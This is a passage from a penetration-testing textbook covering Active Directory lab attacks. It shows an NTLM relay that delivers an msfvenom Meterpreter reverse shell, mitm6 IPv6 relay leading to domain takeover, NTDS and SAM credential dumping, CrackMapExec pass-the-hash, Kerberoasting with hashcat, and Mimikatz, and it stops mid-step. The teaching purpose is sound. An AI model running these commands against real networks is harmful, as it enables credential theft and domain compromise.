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30. As shown in the following screenshot, Hashcat uses module 1000 for cracking NTLMv1 hashes:

Figure 12.56: Hash code

31. Next, use Hashcat to perform password cracking on the samdump-NTLM-hashes.txt file:

kali@kali:~$ hashcat -m 1000 /home/kali/Desktop/samdump-NTLM-hashes.txt /
usr/share/wordlists/rockyou.txt

32. As shown in the following screenshot, Hashcat was able to retrieve the plaintext password for 
the local user bob on the targeted Windows-based system:

Figure 12.57: Password cracking

33. Now that we have found a valid username and password for a local user, we can proceed to 
pass the user credentials to all systems on the domain to determine which computers permit 
this user to log in. This step will be covered in the next chapter, Chapter 13, Advanced Active 
Directory Attacks, in the section Lateral movement with CrackMapExec.

Having completed this lab, you have learned how to perform an NTLM relay attack and retrieve the 
contents of the SAM database of a client system on the network. Next, you will learn how to exploit 
the trust between Active Directory and SMB to obtain the reverse shell of a target system.
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Obtaining a reverse shell
In this hands-on exercise, you will learn how to exploit the trust within an Active Directory domain 
between Windows 10 clients that use SMB to allow file sharing between each other. The techniques 
that you will use within this section are very similar to those from the previous section.

However, we’ll be creating a malicious payload using MSFvenom to gain a reverse shell and using 
Metasploit to create a listener for capturing the return connection from the victim. Additionally, we’ll 
be using both Responder and Impacket to capture the responses and perform an NTLM relay attack 
on the target.

To get started with this hands-on exercise, please use the following instructions:

1. Power on your Kali Linux, Bob-PC, Alice-PC, and Windows Server 2019 virtual machines.
2. On Kali Linux, open the Terminal (#1) and use the ip addr command to identify the IP address 

of Kali Linux while it’s on the 192.168.42.0/24 network.
3. Next, on Kali Linux, start the Metasploit framework using the following command:

kali@kali:~$ sudo msfconsole

4. In Terminal (#1), use the following commands to start the listener with the specific payload for 
Windows operating systems. Ensure you’ve configured LHOST as the IP address of Kali Linux 
with the LPORT value:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/
migrate
msf6 exploit(multi/handler) > set LHOST 192.168.42.27
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

5. Next, open a new Terminal (#2) on Kali Linux and use the following commands to create a 
reverse shell payload using MSFvenom. Ensure you set the IP address and listening port of 
your Kali Linux machine:

kali@kali:~$ msfvenom -p windows/meterpreter/reverse_tcp 
LHOST=192.168.42.27 LPORT=4444 -f exe -o payload4.exe -e x86/shikata_ga_
nai -i 9
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6. The following screenshot shows the execution of the preceding commands:

Figure 12.58: Generating the reverse shell payload

7. On Terminal (#2), use the following commands to start Responder on the interface connected 
to the 192.168.42.0/24 network:

kali@kali:~$ sudo responder -I eth2 -dwPv

8. Next, in a new Terminal (#3), use Impacket to perform an NTLM relay attack and send the 
payload to the targeted system (Bob-PC):

kali@kali:~$ ntlmrelayx.py -t 192.168.42.26 -smb2support -e /home/kali/
payload4.exe

9. The following screenshot shows the NTLM relay is ready:
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Figure 12.59: NTLM relay attack

10. The preceding commands will allow Impacket to capture the user credentials whenever a 
domain user on the network accesses an SMB shared resource over the network, relaying the 
captured username and NTLMv2 hash to a targeted system. This allows the attacker system 
to automatically gain access to the target via SMB, delivering and executing the malicious 
payload on the target.

11. Next, we will need to trigger an event within our lab. Log in to Alice-PC using a domain user 
account (rogue/Password1), open the Run application, and attempt to access the UNC path to 
the attacker’s machine (Kali Linux):

Figure 12.60: Triggering an event

If the preceding commands don’t execute, consider using python3 as the pre-
fix. As a result, you can execute python3 ntlmrelayx.py -t 192.168.42.26 
-smb2support -e /home/kali/payload4.exe. The python3 part may be needed 
when using Kali Linux 2024 and newer.
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12. Typically, in a real penetration testing engagement, you will need to wait until a domain user 
on the network attempts to access a network share or resource for an event to occur.

13. Next, head over to Kali Linux and notice that, in the Terminal (#1) with the Metasploit listener, 
you now have a reverse shell from Bob-PC:

Figure 12.61: Obtaining a shell

14. By simply capturing and relaying the domain credentials from a user to another computer on 
the network, we can deliver and execute malicious payloads on the target’s system.

15. Once, you’ve finished with the exercise, power off your virtual machines.
16. Lastly, open VirtualBox Manager, select the Kali Linux virtual machine, select Settings, go 

to Network, and disable Adapter 3. This will disable the network adapter on Kali Linux that’s 
connected to the RedTeamLab network within our lab topology, as shown below:

Figure 12.62: Disabling the network adapter
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Having completed this section, you have learned how to abuse the trust between Windows 10 clients 
on an Active Directory domain using SMB for file sharing. You now know how to retrieve the SAM 
database and gain a reverse shell on a Windows 10 client system on a network.

Summary
In this chapter, you learned how Active Directory is used within organizations to help their IT teams 
centrally manage all the users and devices within their network. You have also gained some hands-on 
experience and the skills needed to extract sensitive information from Active Directory and identify 
the attack paths to use to compromise the domain. Furthermore, you know how to perform various 
network-based attacks that take advantage of the trust between domain clients and the domain con-
troller within a network.

I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyberse-
curity. May this newfound understanding empower you on your journey, allowing you to navigate the 
industry with confidence and make a significant impact. In the next chapter, Advanced Active Directory 
Attacks, you will learn how to perform advanced attacks on an Active Directory infrastructure.

Further reading
To learn more about the topics that were covered in this chapter, visit the following links:

• Security Account Manager: https://www.techtarget.com/searchenterprisedesktop/
definition/Security-Accounts-Manager

• Active Directory Domain Services overview: https://www.techtarget.com/
searchenterprisedesktop/definition/Security-Accounts-Manager

• PowerView command list: https://github.com/PowerShellMafia/PowerSploit/tree/master/
Recon

• BloodHound documentation: https://github.com/PowerShellMafia/PowerSploit/tree/
master/Recon

• LLMNR/NBT-NS poisoning and SMB relay: https://github.com/PowerShellMafia/
PowerSploit/tree/master/Recon

https://www.techtarget.com/searchenterprisedesktop/definition/Security-Accounts-Manager
https://www.techtarget.com/searchenterprisedesktop/definition/Security-Accounts-Manager
https://www.techtarget.com/searchenterprisedesktop/definition/Security-Accounts-Manager
https://www.techtarget.com/searchenterprisedesktop/definition/Security-Accounts-Manager
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
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Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://packt.link/SecNet


13
Advanced Active Directory 
Attacks

Understanding the security vulnerabilities that are related to the trust of systems and users within 
Active Directory can be scary; however, it’s very useful for aspiring penetration testers and red teamers 
who are seeking to improve their skillset in identifying security flaws in an Active Directory environ-
ment within their organization.

In this chapter, you will learn how to perform advanced Active Directory attacks that focus on abus-
ing trust within Active Directory to gain access and control of devices on a network. You will learn 
how to perform lateral and vertical movement within the Windows domain, and how to gain domain 
dominance and persistence within Active Directory.

In this chapter, we will cover the following topics:

• Understanding Kerberos
• Abusing trust on IPv6 with Active Directory
• Attacking Active Directory
• Domain dominance and persistence

Let’s dive in!

Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux – https://www.kali.org/get-kali/
• Windows Server 2019 – https://www.microsoft.com/en-us/evalcenter/evaluate-windows-

server-2019

• Windows 10 Enterprise – https://www.microsoft.com/en-us/evalcenter/evaluate-windows-
10-enterprise

https://www.kali.org/get-kali/
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise 
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise 
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• mitm6 – https://github.com/dirkjanm/mitm6
• Mimikatz – https://github.com/gentilkiwi/mimikatz

Understanding Kerberos
Kerberos is a network authentication protocol that runs on Windows Server, which enables clients 
to authenticate on the network and access services within the Windows domain. Kerberos provides 
single sign-on (SSO), which allows a user to authenticate once on a network and access resources 
without having to re-enter their user credentials each time they need to access a new resource, such 
as a mapped network drive. Kerberos supports delegated authentication, which allows a service 
running on a client’s computer to act on behalf of the authenticated domain user when it connects 
to other services on the network. Kerberos supports interoperability, which allows a Windows-based 
operating system to work in other networks that also use Kerberos as their authentication mechanism. 
When using Kerberos on a network, it supports mutual authentication, which allows two devices to 
validate the identity of each other.

Within an Active Directory environment, there are three main elements when working with Kerberos:

• Client: A domain user who logs in to a client computer to access a resource, such as a file 
server or application server

• Key distribution center (KDC): This is the domain controller that is running Kerberos and 
Active Directory

• Application server: This is usually a server on the domain that is hosting a service or resource

The following steps explain the Kerberos authentication process within Active Directory:

1. When a user logs in to a domain-connected computer using their domain user account, their 
password is converted into a New Technology LAN Manager (NTLM) hash (refer to Chapter 9 
for more information on this). A timestamp is encrypted using the NTLM hash and it is sent 
across the network to the KDC to validate the user’s identity:

Figure 13.1: A Ticket Granting Ticket (TGT) request

https://github.com/dirkjanm/mitm6
https://github.com/gentilkiwi/mimikatz
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2. On the KDC, a Ticket Granting Ticket (TGT), a user authentication token, that is encrypted, 
and signed by the krbtgt account on the KDC and is sent to the client with the logged-on user:

Figure 13.2: The TGT is returned

3. When the logged-on user on the domain-connected computer wants to access a service or 
application server on the Windows domain, they will need a Ticket Granting Service (TGS) 
ticket. The client sends the TGT to the KDC to request a TGS ticket:

Figure 13.3: A TGS request
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4. The KDC encrypts the TGS ticket with the requested service’s NTLM hash and sends the TGS 
ticket to the client with the logged-on user:

Figure 13.4: TGS returned

5. Lastly, when the domain-connected computer connects to the application server, it presents 
the TGS ticket from the KDC to gain access to the resource/service:

Figure 13.5: Access to the domain resource

As a penetration tester or red teamer, if you’re able to breach the krbtgt account or compromise the 
process of generating a ticket, you’ll be able to compromise the domain controller and everything within 
it. You will definitely learn how to do this later in this chapter.

Having completed this section, you have learned the fundamentals of how Kerberos helps grant access 
to services, resources, and systems on an Active Directory domain. Next, you will learn how to abuse 
trust on an IPv6 network to compromise Active Directory.
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Abusing trust on IPv6 with Active Directory
It’s been many years since Transmission Control Protocol/Internet Protocol (TCP/IP) was created 
and became the de facto network protocol suite that is currently implemented on all devices that use 
a network to communicate. As you read earlier in this book, there are many network protocols that 
were not built with security in mind. One such protocol is the Internet Protocol version 6 (IPv6). While 
IPv6 is the latest implementation of IP and is the successor of IPv4, this protocol is also vulnerable to 
a lot of network-based cyberattacks.

As an aspiring penetration tester, you can exploit the trust used within an Active Directory domain 
over an IPv6 network and compromise the Windows domain and the domain controller on the network. 
In this section, you will learn how to use a tool known as mitm6 to exploit the security vulnerabilities 
within IPv6 while performing an NTLM relay attack to gain control of the Active Directory domain 
within the network.

Within many organizations, you will commonly find that the IT team uses IPv4 addressing schemes 
on their internal networks. This means that there are clients, servers, switches, routers, and firewalls 
all using IPv4 to communicate. While an organization may not implement an IPv6 addressing scheme 
on their internal network, IPv6 is enabled by default on modern Windows operating systems such as 
Windows 10, Windows 11, Windows Server 2019, and Windows Server 2022. Therefore, a penetration 
tester with the appropriate tools and skills can take advantage of the IPv6 automatic configurations 
applied within the entire Windows Active Directory and compromise the domain.

To get started with compromising a Windows Active Directory domain by leveraging the trust between 
hosts and exploiting the security vulnerabilities within IPv6, please follow the instructions in the 
following sections.

When a client has IPv6 enabled, an IPv6 link-local address is automatically created by the 
host and assigned to the interface. The IPv6 link-local address starts with FE80::/10 and 
is primarily used to communicate with hosts on the same subnet. Since each device is 
auto-assigned an IPv6 link-local address by default without the need for a DHCPv6 server, 
it is easy to abuse the trust of IPv6 with Active Directory.

While this tip is not needed based on the configurations of our Kali Linux virtual ma-
chine, please ensure the network adapter interface within Kali Linux has IPv6 enabled 
to auto-assign itself an IPv6 link-local address within the RedTeamLab network for this 
attack to be successful.
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Part 1: setting up for an attack
To set up for an attack, follow the steps mentioned below:

1. Ensure Kali Linux is connected to the RedTeamLab network. Open VirtualBox Manager, select 
the Kali Linux virtual machine, select Settings, go to Network, and enable Adapter 3. This 
would enable the network adapter on Kali Linux that’s connected to the RedTeamLab network 
within our lab topology, as shown here:

Figure 13.6: Enabling the network adapter

2. Power on the Windows Server 2019 virtual machine and log in as Administrator using the 
following password: P@ssword1.

3. You will need to enable Lightweight Directory Access Protocol Secure (LDAPS) on the do-
main controller. To do this on Windows Server 2019, open the Command Prompt and use 
the following commands to install the Active Directory Certificate Services and Certification 
Authority role:

C:\Users\Administrator> powershell
PS C:\Users\Administrator> Install-WindowsFeature -Name AD-
Certificate,ADCS-Cert-Authority -Restart
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The following screenshot shows the execution of the preceding PowerShell commands:

Figure 13.7: Installing Active Directory Certificate Services

4. Next, use the following commands to set up the domain controller as the Enterprise Certifi-
cation Authority and generate the digital certificate with a validity period of 10 years:

PS C:\Users\Administrator> Install-AdcsCertificationAuthority -CAType 
EnterpriseRootCA -CACommonName "redteamlab-DC1-CA" -KeyLength 2048 
-HashAlgorithmName SHA256 -ValidityPeriod Years -ValidityPeriodUnits 10

5. When you’re prompted to perform the “Install-AdcsCertificationAuthority” on target “DC1” 
operation, type A and hit Enter to proceed.

6. Once the process is completed, use the following commands to reboot Windows Server 2019:

PS C:\Users\Administrator> Restart-Computer -Force

The following screenshot shows the execution of the preceding commands:

Figure 13.8: Rebooting the server

Lightweight Directory Access Protocol (LDAP) allows a domain client to send LDAP query 
messages to a directory server such as a domain controller over the network on port 389 
and does not encrypt the communication. Hence, a threat actor can intercept and capture 
the plaintext messages, as you have seen in the previous chapter. As a best practice, IT 
professionals usually enable LDAPS to provide data encryption between the domain client 
and the directory server, which operates on port 636 by default.
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Once Windows Server 2019 boots up, power on both the Bob-PC and Alice-PC virtual machines.

Part 2: launching the attack
To launch the attack, follow the steps mentioned below:

1. Power on Kali Linux, open the Terminal (#1), and use Impacket’s ntlmrelayx to perform an 
NTLM relay attack on the targeted domain controller using its IP address with LDAPS while 
creating a false Web Proxy Auto-Discovery (WPAD) protocol hostname to trick the domain 
controller into providing us with confidential information about all the users, groups, and 
objects within Active Directory:

kali@kali:~$ ntlmrelayx.py -6 -t ldaps://192.168.42.40 -wh wpad.
redteamlab.local -l /home/kali/mitm6-loot

The following screenshot shows the execution of the preceding commands and that the relay 
is ready:

Figure 13.9: NTML relay attack

2. Once the attack is successful, the contents of the Active Directory environment will be retrieved 
from the domain controller and placed in the /home/kali/mitm6-loot directory in Kali Linux.

WPAD is a technique that’s used on client machines to discover the URL of a 
configuration file via DHCP discovery methods. Once a client machine discovers 
a file, it is downloaded onto the client machine and executed.
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3. Next, open a new Terminal (#2) and use mitm6 to perform a man-in-the-middle (MITM) attack 
over the IPv6 network with the targeted domain as redteamlab.local:

kali@kali:~$ sudo  mitm6 -i eth2 -d redteamlab.local

The following screenshot shows the execution of the preceding commands:

Figure 13.10: mitm6

4. To trigger an event, simply reboot one of the Windows 10 client systems, such as Bob-PC. 
When the client system reboots, it will automatically attempt to communicate with the domain 
controller and re-authenticate to the redteamlab.local domain.

If you encounter an error such as the interface eth2 not having an IPv6 link-local 
address assigned, make sure that IPv6 is activated on this interface. Additionally, 
you can disconnect and reconnect the wired interface on the Kali Linux virtual 
machine as a simple fix.

In a real-world scenario, the client computers on the network will automatically 
send a Domain Name System (DNS) message across the IPv6 network at various 
time intervals. Be patient and you will capture these messages and perform the 
relay attack. However, the mitm6 tool can create communication issues on the 
network and should not be running for long durations at a time. Running mitm6 
or similar tools can disrupt normal network operations, degrade network perfor-
mance, and potentially cause unintended denial-of-service (DoS) conditions. Such 
actions could have serious implications for network reliability and security issues.
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5. On Kali Linux, observe the Terminal (#1) that is running ntlmrelayx. You will see events 
occurring almost in real time. Eventually, you will see the following notification messages on 
your terminal when the attack is successful:

[*] Authenticating against ldaps://192.168.42.40 as REDTEAMLAB\BOB-PC$ 
SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large 
domains
[*] Dumping domain info for first time
[*] Domain info dumped into lootdir!

The following screenshot shows the notifications from Impacket indicating the sequence of 
events that occurred, allowing Kali Linux to retrieve the Active Directory contents from the 
domain controller:

Figure 13.11: Capturing loot

Keep in mind that there’s sometimes a delay in the NTLM relay attack. Please be patient and 
observe the messages on the Impacket terminal. Remember, mitm6 has to intercept the IPv6 
traffic on the network and Impacket has to capture and relay the NTLMv2 hashes across to 
the domain controller, then extract the objects from Active Directory; therefore, it may not 
always happen in real time.

6. To view the extracted contents from the domain controller, open a new Terminal (#3) and use 
the following command:

kali@kali:~$ ls mitm6-loot

Both Impacket and mitm6 are typically only used for penetration testing and 
should be operated only with explicit authorization and within a controlled en-
vironment to assess network vulnerabilities (like this isolated lab setup). Using 
the tools beyond that limited application will be considered malicious by cyber 
defenders and security operation centers (SOCs) and is in fact illegal in many 
jurisdictions.
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As shown in the following snippet, you now have usernames, groups, computers, policies, 
and so on, which are all extracted and stored in various file formats and categories from the 
domain controller:

Figure 13.12: Listening files

7. Imagine that this attack is successful by capturing a computer’s domain account and relaying it 
to the domain controller; a valid user was not needed for this attack to be successful within an 
organization. As a penetration tester, obtaining such confidential data from a domain controller 
is very useful as you have all the user and computer accounts, groups, policies, and additional 
information. Next, you will learn how to take over the domain as a penetration tester.

Do not close any of the terminals that are running mitm6 and Impacket, as these tools are 
needed for taking over the domain.

Part 3: taking over the domain
Within a real-world production environment, an IT professional may log in to a domain-connected 
computer on the network using their domain administrator account to perform administrative tasks 
or troubleshooting on the client’s computer. This is a perfect opportunity to capture the domain ad-
ministrator’s user credentials, relay them using Impacket to the domain controller, and automatically 
create a new user account on Active Directory:

1. On Kali Linux, ensure mitm6 and Impacket are still running on the network from the previous 
section.

2. Next, to trigger an event, let’s use a domain administrator account to log in to a Windows client 
computer such as Bob-PC. For the domain administrator credentials, use wolverine as the 
username and Password123 as the password.

3. Head on back to Kali Linux and observe the Impacket Terminal (#1). After a little while, you 
will see the following notification message:

[*] Authenticating against ldaps://192.168.42.40 as REDTEAMLAB\wolverine 
SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large 
domains
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4. This is an indication showing the domain administrator known as REDTEAMLAB\wolverine 
has successfully logged in to the domain. Next, Impacket will use the credentials to access 
the domain controller and create a new domain user account automatically, as shown here:

Figure 13.13: Domain account created

As shown in the preceding screenshot, a new user was created successfully on the domain 
controller with sRuCqsHGNB as the username and o4u:&q1(7iFKP6, as the password.

5. Next, let’s use secretsdump to extract the contents of the New Technology Directory Services 
Directory (NTDS.DIT) file within the domain controller:

kali@kali:~$ secretsdump.py redteamlab.local/
sRuCqsHGNB:'o4u:&q1(7iFKP6,'@192.168.42.40 -just-dc-ntlm

As shown in the following screenshot, we’re able to perform a technique known as OS creden-
tial dumping: NTDS by extracting sensitive information from the NTDS.dit such as domain 
usernames, device accounts, and password hashes:
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Figure 13.14: Extracting the Security Account Manager (SAM) database

To learn more about OS Credential Dumping: NTDS, please see https://attack.
mitre.org/techniques/T1003/003/.

https://attack.mitre.org/techniques/T1003/003/
https://attack.mitre.org/techniques/T1003/003/
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6. Lastly, log in to the domain controller using the Administrator account, then open Server 
Manager | Tools | Active Directory Users and Computers and you will see that the new user 
account exists:

Figure 13.15: Viewing the new account

7. Using the newly created account, you can log in to the domain controller.

Having completed this exercise, you have learned how to compromise the trust between domain 
clients and their domain controller on the network, retrieve sensitive information, and create a user 
account on the domain. Overall, you have learned how to take over a Windows Active Directory do-
main by exploiting the trust within the network. In the next section, you will directly exploit the trust 
established between domain clients and the domain controller on the network.

Attacking Active Directory
As an aspiring penetration tester, it’s important to understand how to simulate real-world cyberattacks 
to perform both lateral and vertical movement within an Active Directory domain. 

To learn more about the functionality of the mitm6 tool, please visit the official GitHub 
repository at https://github.com/fox-it/mitm6.

https://github.com/fox-it/mitm6
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Vertical movement allows a penetration tester to escalate their privileges within a network, as com-
pared to lateral movement, which focuses on using the same user privileges across multiple systems 
on the network. Over the next few sections, you will explore various popular tools for achieving this 
that are definitely needed within your arsenal as a cybersecurity professional.

Lateral movement with CrackMapExec
CrackMapExec is a post-exploitation tool that allows penetration testers to easily automate the process 
of gathering sensitive information from an Active Directory domain within an organization. This tool 
is very useful as it also allows penetration testers to compromise the trust between domain clients 
and domain controllers within the network.

By using a tool such as CrackMapExec within an Active Directory domain, penetration testers and red 
team professionals are able to quickly identify whether a user credential can be used to gain access 
to other systems on the Windows domain, therefore allowing lateral movement across the network. 
This technique allows the penetration tester to perform the passing of the username and password 
and pass-the-hash (PTH) techniques on the network; therefore, it’s essential you have obtained a valid 
user credential such as a password or hash prior to using CrackMapExec.

To get started compromising Active Directory with CrackMapExec, please follow these instructions:

1. Power on your Kali Linux, Bob-PC, Alice-PC, and Windows Server 2019 virtual machines.
2. Since we have already retrieved the user credentials for the redteamlab\gambit user account 

from the previous chapter, we can pass the username (gambit or wolverine) and password 
(Password1) across the entire domain by using the following commands on Kali Linux:

kali@kali:~$ crackmapexec smb 192.168.42.10/24 -u gambit -p Password1 -d 
redteamlab.local

As shown in the following snippet, the domain user account (gambit) was able to gain access 
to two devices on the domain, Bob-PC and Alice-PC:

Figure 13.16: Lateral movement

3. As shown in the preceding snippet, CrackMapExec performs Server Message Block (SMB) enu-
meration on the targeted network using the specified user credentials in the context of the domain. 
CrackMapExec then uses the Pwn3d! keyword to indicate the attack was successful on two devices. 
This is a very simple and efficient technique that allows penetration testers to quickly determine 
whether a domain user account is able to access other systems on the network.

4. Next, we can also use CrackMapExec to attempt to retrieve the local SAM database of Windows 
devices on the domain:

kali@kali:~$ crackmapexec smb 192.168.42.10/24 -u gambit -p Password1 -d 
redteamlab.local --sam
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As shown in the following snippet, CrackMapExec was able to retrieve the contents of the SAM 
database of both Bob-PC and Alice-PC on the domain by leveraging the user account as it has 
administrative privileges on both systems:

Figure 13.17: Extracting the SAM database

As shown in the preceding screenshot, the local usernames and the NTLMv1 hashes are re-
trieved from both domain clients on the network. These user accounts can be passed across 
the network for lateral movement and privilege escalation on other devices within the domain.

5. Next, let’s perform PTH on the entire domain using a user account with the NTLMv1 hash 
from the previous step:

kali@kali:~$ crackmapexec smb 192.168.42.10/24 -u bob -H 
499e7d8c6c8ad470e57e00d0f3618d5e --local-auth

As shown in the following snippet, CrackMapExec is able to pass the hash over the domain:

Figure 13.18: Lateral movement

As shown in the preceding snippet, CrackMapExec does not provide confirmation of whether 
the attack was a success or not on various systems. However, it does use the [+] icon to indicate 
possible unauthorized access on a domain system.

6. Next, since we determined that the redteamlab\gambit user account has local administrative 
privileges on a few systems within the domain, we can attempt to extract the Local Security 
Authority (LSA) secrets on those devices:

kali@kali:~$ crackmapexec smb 192.168.42.10/24 -u gambit -p Password1 -d 
redteamlab.local --lsa

NTLMv1 is outdated and considered to unsecure, Microsoft recommended using 
NTLMv2. Please see the following link for reference: https://learn.microsoft.
com/en-us/troubleshoot/windows-client/windows-security/enable-
ntlm-2-authentication.

https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-security/enable-ntlm-2-authentication
https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-security/enable-ntlm-2-authentication
https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-security/enable-ntlm-2-authentication
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The LSA is used on Microsoft Windows to assist with validating users for both remote and 
local authentication and ensure that local security policies are enforced on user accounts and 
devices. The following screenshot shows the LSA of each system was retrieved:

Figure 13.19: Extracting the SAM database from multiple computers

Having completed this exercise, you have gained the skills to perform both lateral movement and 
extract sensitive information from an Active Directory domain. Next, you will learn how to exploit 
the trust within Kerberos and perform vertical movement within Active Directory.

Vertical movement with Kerberos
While there are many techniques that can be used to perform vertical movement within our RedTeam-
Lab network, you will learn how to use trust within Kerberos, an element of Active Directory, to gain 
higher-level user privileges on all devices within the Active Directory domain.

To get started with exploiting trust within Kerberos, please follow these instructions:

1. Power on your Kali Linux, Bob-PC, Alice-PC, and Windows Server 2019 virtual machines.

Be sure to check out the CrackMapExec cheat sheet at https://github.com/byt3bl33d3r/
CrackMapExec/wiki/SMB-Command-Reference.

For this attack to work, the time on Kali Linux needs to be in sync with the time on 
the targeted domain controller. If not, the following message will appear: "Kerberos 
SessionError: KRB_AP_ERR_SKEW(Clock skew too great)" Issue. We will solve 
this issue during this practical exercise.

https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference
https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference


Advanced Active Directory Attacks544

2. On Kali Linux, open Terminal and use the following command to install the ntpdate package:

kali@kali:~$ sudo apt install ntpdate

3. Next, check the time difference between Kali Linux and Windows Server 2019:

kali@kali:~$ ntpdate -qu 192.168.42.40

As shown in the following screenshot, Kali Linux has a small offset:

Figure 13.20: Checking the time difference

4. Next, synchronize the time with the targeted domain controller, using the following:

kali@kali:~$ sudo ntpdate 192.168.42.40

Figure 13.21: Synchronizing the time with the domain controller

5. Next, retrieve the Kerberos TGS ticket hash from the domain controller by using a valid domain 
user credential to the domain controller:

kali@kali:~$ GetUserSPNs.py redteamlab.local/gambit:Password1 -dc-ip 
192.168.42.40 -request

As shown in the following screenshot, we’re able to identify the service principal name (SPN) 
account and retrieve the TGS ticket:

Figure 13.22: Extracting the SPN TGS ticket
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6. Next, copy and save the entire TGS hash into a text file and place it on the desktop of Kali 
Linux, as shown here:

Figure 13.23: Saving the TGS ticket

7. Next, use the following commands to determine the hashcat code for cracking Kerberos 5 
etype 23 hashes:

kali@kali:~$ hashcat -h | grep TGS

As shown in the following screenshot, hashcat has a few pieces of code but we’ll be using 13100:

Figure 13.24: Checking hashcat code

An SPN is a unique identifier for a service instance. SPNs are used in Kerberos au-
thentication to associate a service instance with a service logon account, allowing 
clients to securely request access to services running on servers. You can refer to 
Chapter 3 for details on setup.
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8. Next, use hashcat to perform password cracking on the file with the TGS hash using the 
rockyou.txt wordlist:

kali@kali:~$ hashcat -m 13100 /home/kali/Desktop/TGS.txt /usr/share/
wordlists/rockyou.txt -O

As shown in the following snippet, the password was retrieved from the TGS hash as Password45:

Figure 13.25: Cracking the password

At this point, you have retrieved the password for the service account. This means you have 
the service account user credentials, sqladmin:Password45, which can be used to log in to the 
domain controller. Since this account has administrative privileges, it can be used to take over 
the domain controller and all devices within the entire Active Directory domain.

If you’re unable to crack the password for the sqladmin account, ensure the 
password is set correctly. To do this, reset the password for the sqladmin ac-
count, by logging in to the Windows Server 2019 virtual machine as the admin-
istrator and running the following PowerShell command to set the password: 
Set-ADAccountPassword -Identity sqladmin -Reset -NewPassword 
(ConvertTo-SecureString -AsPlainText "Password45" -Force). This will 
ensure the password is set as Password45.
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9. Lastly, re-synchronize the time on Kali Linux with a trusted public Network Time Protocol 
(NTP) server such as the Google NTP service:

kali@kali:~$ sudo ntpdate time.google.com

In this exercise, you have gained the skills to retrieve a service account with its password. This tech-
nique demonstrated how to exploit the trust between the components of Kerberos within Active 
Directory on a domain. In the next section, you will learn how to perform lateral movement across 
Active Directory using Mimikatz.

Lateral movement with Mimikatz
Mimikatz is a post-exploitation tool that allows penetration testers to easily extract plaintext passwords, 
password hashes, and Kerberos ticket details from the memory of the host. Penetration testers usually 
use Mimikatz, which is commonly used to help penetration testers perform lateral movement across 
a network using PTH and pass-the-ticket (PTT) techniques and gain domain persistence by creating 
a golden ticket.

To get started with using Mimikatz to retrieve the credentials of all valid domain users, please follow 
the instructions in the following sections.

Part 1: setting up the attack
To set up the attack, follow the steps mentioned below:

1. Download the latest version of Mimikatz onto the Kali Linux virtual machine from https://
github.com/gentilkiwi/mimikatz/releases and specify the latest version of mimikatz_trunk.
zip. At the time of writing, the current version is 2.2.0 20220919.

2. Power on Kali Linux, open Terminal, and use the following commands to download the file:

kali@kali:~$ wget https://github.com/gentilkiwi/mimikatz/releases/
download/2.2.0-20220919/mimikatz_trunk.zip

As shown in the following screenshot, the mimikatz_trunk.zip file was downloaded within 
the present working directory:

Figure 13.26: Checking the folder

Keep in mind Windows Defender Credential Guard will block most Mimikatz attacks 
during a live penetration test, therefore you will need a dedicated system on the custom-
er’s network with Mimikatz permitted within the antimalware rules, or you will need to 
discover methods to evade detection in a real-world exercise. To learn more about Win-
dows Defender Credential Guard, please visit https://learn.microsoft.com/en-us/
windows/security/identity-protection/credential-guard/.

https://github.com/gentilkiwi/mimikatz/releases
https://github.com/gentilkiwi/mimikatz/releases
https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/
https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/
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3. Next, using the same Terminal, start the Python 3 web server within the present working 
directory for all file transfers:

kali@kali:~$ python3 -m http.server 8080

4. Next, power on the Windows Server 2019 virtual machine and log in with the compromised 
service account, sqladmin:Password45.

5. Once you’ve logged on, open the Command Prompt with administrative privileges and use the 
following commands to download the Mimikatz zipped file from Kali Linux:

C:\Windows\system32> cd C:\Users\sqladmin\Downloads
C:\Users\sqladmin\Downloads> powershell
PS C:\Users\sqladmin\Downloads> Invoke-WebRequest -uri 
http://192.168.42.27:8080/mimikatz_trunk.zip -OutFile mimikatz_trunk.zip

6. Make sure you change the IP address in the preceding command to match the IP address of 
your Kali Linux machine within the 192.168.42.0/24 network. The following screenshot 
shows the execution of the preceding commands:

Figure 13.27: Transferring files

7. Next, unzip the mimikatz_trunk.zip file and exit the PowerShell mode with the following 
commands:

PS C:\Users\sqladmin\Downloads> Expand-Archive .\mimikatz_trunk.zip
PS C:\Users\sqladmin\Downloads> dir
PS C:\Users\sqladmin\Downloads> exit

The following screenshot shows the execution of the preceding commands:
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Figure 13.28: Extracting contents

8. Next, launch Mimikatz and check its privileges:

C:\Users\sqladmin\Downloads> cd mimikatz_trunk\x64
C:\Users\sqladmin\Downloads\mimikatz_trunk\x64> mimikatz.exe
mimikatz # privilege::debug

The following screenshot shows Mimikatz has the necessary privileges to extract the pass-
words and hashes:

Figure 13.29: Executing Mimikatz
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Part 2: grabbing credentials
To grab credentials, follow the steps mentioned below:

1. Extract all the user accounts and their password hashes by using the following command:

mimikatz # sekurlsa::logonpasswords

As shown in the following screenshot, Mimikatz retrieved all the users’ accounts and their 
